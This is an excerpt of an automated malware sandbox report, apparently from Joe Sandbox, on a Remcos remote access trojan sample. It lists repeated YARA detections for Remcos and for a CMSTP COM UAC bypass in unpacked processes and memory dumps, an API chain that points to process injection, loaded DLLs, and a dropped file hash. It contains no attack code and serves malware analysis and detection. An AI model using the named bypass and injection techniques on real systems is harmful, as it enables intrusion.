                    Source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPEMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 00000008.00000002.253136648.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
                    Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: 00000008.00000002.253322818.0000000006190000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Author: unknown
                    Source: Process Memory Space: SndVol.exe PID: 7120, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: Process Memory Space: colorcpl.exe PID: 6388, type: MEMORYSTRMatched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CB20C40_2_02CB20C4
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041F04C1_2_0041F04C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0043E01C1_2_0043E01C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004540AA1_2_004540AA
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004380B81_2_004380B8
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004461401_2_00446140
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0043E24B1_2_0043E24B
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0045327C1_2_0045327C
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004272EF1_2_004272EF
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004374361_2_00437436
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0043E4A81_2_0043E4A8
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004386C01_2_004386C0
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0043784E1_2_0043784E
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004338981_2_00433898
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0044D8991_2_0044D899
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_004279981_2_00427998
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0041DAB41_2_0041DAB4
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00427B011_2_00427B01
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00437C831_2_00437C83
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00426D601_2_00426D60
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_0043DDED1_2_0043DDED
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00435DB11_2_00435DB1
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00413F181_2_00413F18
                    Source: C:\Windows\SysWOW64\SndVol.exeCode function: 1_2_00436F3A1_2_00436F3A
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeCode function: 0_2_02CCD85C InetIsOffline,CoInitialize,CoUninitialize,WinExec,CreateProcessAsUserW,NtQueueApcThread,ResumeThread,CloseHandle,GetCurrentProcess,FlushInstructionCache,GetCurrentProcess,ExitProcess,0_2_02CCD85C
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: archiveint.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ???.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ???.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ???.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ????.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: endpointdlp.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: endpointdlp.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: endpointdlp.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: endpointdlp.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\user\Desktop\Fnvtdhenapsfwu.exeSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: archiveint.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ???.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ???.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ???.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ????.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ??l.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: endpointdlp.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: endpointdlp.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: endpointdlp.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: endpointdlp.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: advapi.dllJump to behavior
                    Source: C:\Users\Public\Libraries\Fnvtdhen.PIFSection loaded: ??l.dllJump to behavior
                    Source: Joe Sandbox ViewDropped File: C:\Users\Public\Libraries\Fnvtdhen.PIF 56A3DC5C90ADE897E349BA0FD0433770DCDDA32B5BD2A1C6608B2AF2F9B34C05
                    Source: Fnvtdhenapsfwu.exeStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                    Source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 1.2.SndVol.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 1.2.SndVol.exe.62f0000.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 8.2.colorcpl.exe.6190000.2.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 1.2.SndVol.exe.62f0000.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 1.2.SndVol.exe.62f194e.2.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 8.2.colorcpl.exe.619194e.1.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 8.2.colorcpl.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 8.2.colorcpl.exe.6190000.2.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 1.2.SndVol.exe.62f194e.2.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 1.2.SndVol.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 8.2.colorcpl.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 8.2.colorcpl.exe.619194e.1.raw.unpack, type: UNPACKEDPEMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
                    Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
                    Source: 00000001.00000002.474788319.00000000062F0000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
                    Source: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
